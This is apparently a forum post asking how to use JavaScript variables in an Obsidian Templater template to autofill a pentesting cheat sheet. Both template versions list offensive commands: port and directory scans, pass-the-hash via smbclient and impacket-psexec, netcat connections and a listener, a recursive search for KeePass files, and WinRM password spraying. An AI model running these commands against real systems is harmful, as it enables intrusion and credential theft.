Want to use js variables in template and then create a new note based off the template

I’m trying to use js variables an templater instead of using yaml config variables and tp.frontmatter. The command structure wih tp.fronmatter() makes the template commands harder to interpret at first glance and would prefer using the way in my js example if possible. Any help to get me going in the right direction or avisig the best implementation would be highly appreciated. Basically I’m wanting to auto replace variables with defined values so I can have a more efficient workflow when pentesting and it autofill my commands based on the values I assign

What I’m trying to do

I have a file jstemp that consists of the below

<%*
// Define JS variables with hardcoded values
const LHOST = "192.168.45.154";
const RHOST = "192.168.202.58";
const RPORT = "4444";
const LPORT = "9999";
const HASH = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
const USER = "myUser";
const PASSWORD = "SuperSecretPass!";
const DOMAIN = "myDomain.local";
%>







== INITIAL SCAN COMMANDS ==
`rustscan -a <%= LHOST %> --range 1-65535`
`rustscan -a <%= LHOST %> --range 1-65535`
`nmap -sV -sC -A <%= LHOST %> -p 22,25,80,139,199,445,60000`
`sudo nmap -sU --top-ports 100 <%= RHOST %>`
`sudo nmapAutomator.sh --host <%= RHOST %> --type All -o pelican`
`feroxbuster --url http://<%= LHOST %>/`
`gobuster dir -u http://<%= LHOST %>/ -w /usr/share/wordlists/dirb/big.txt -t 5`

smbclient \\\\<%= RHOST %>\\secrets -U Administrator --pw-nt-hash
<%= HASH %>

impacket-psexec -hashes
00000000000000000000000000000000:<%= HASH %>
Administrator@<%= RHOST %>

kali@kali:~$ nc <%= RHOST %> <%= RPORT %>

C:\\Windows\\system32>dir \\\\<%= LHOST %>\\test

nc -nvlp <%= LPORT %>

Get-ChildItem -Path C:\\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue

nxc winrm 172.16.167.0/24 -u "<%= USER %>" -p "<%= PASSWORD %>" -d <%= DOMAIN %> --continue-on-success


### Things I have tried

So I got what  I want working with the below using tp.frontmatter but unless I apply the template to a file with the defined yaml in it it returns undefined. Ideally I'd want to get the js variant of variables working but I'm noot sure how and I must be missing something. My end goal would be to have the commands like you see above and I'd hit a button and it'd substitute the defined javascript variables vale i set into my commands via a new note by th press of a hotkey, or i have the js variables defie somewhere and another note just listing my commands with the variables that autoplaces w/e the current variable value is in the commands on a sheet. Is there a way from me to have a template like my one above an then it auto updatesa paged base on the current variable value? Below works with tp.frontmatter but I' like to learn how to implement what I'm asking without using frontmatter   

---
LHOST: 192.168.45.154
RHOST: 192.168.202.58
RPORT: 4444
LPORT: 9999
HASH: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
USER: myUser
PASSWORD: SuperSecretPass!
DOMAIN: myDomain.local
---

==INITIAL SCAN COMMANDS==
`rustscan -a <% tp.frontmatter["LHOST"] %> --range 1-65535`
`rustscan -a <% tp.frontmatter["LHOST"] %> --range 1-65535`
`nmap -sV -sC -A <% tp.frontmatter["LHOST"] %> -p 22,25,80,139,199,445,60000`
`sudo nmap -sU --top-ports 100 <% tp.frontmatter["RHOST"] %>`
`sudo nmapAutomator.sh --host <% tp.frontmatter["RHOST"] %> --type All -o pelican`
`feroxbuster --url http://<% tp.frontmatter["LHOST"] %>/`
`gobuster dir -u http://<% tp.frontmatter["LHOST"] %>/ -w /usr/share/wordlists/dirb/big.txt -t 5`


smbclient \\\\<% tp.frontmatter["RHOST"] %>\\secrets -U Administrator --pw-nt-hash
<% tp.frontmatter["HASH"] %>

impacket-psexec -hashes
00000000000000000000000000000000:<% tp.frontmatter["HASH"] %>
Administrator@<% tp.frontmatter["RHOST"] %>

kali@kali:~$ nc <% tp.frontmatter["RHOST"] %> <% tp.frontmatter["RPORT"] %>

C:\\Windows\\system32>dir \\\\<% tp.frontmatter["LHOST"] %>\\test

nc -nvlp <% tp.frontmatter["RPORT"] %>

Get-ChildItem -Path C:\\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue

nxc winrm 172.16.167.0/24 -u "<% tp.frontmatter["USER"] %>" -p "<% tp.frontmatter["PASSWORD"] %>" -d <% tp.frontmatter["DOMAIN"] %> --continue-on-success

the above bloc in my original post contains th js implementation then below ####things I have tried is the yaml and tp.frontmatter template implementation, i just wanted to clarify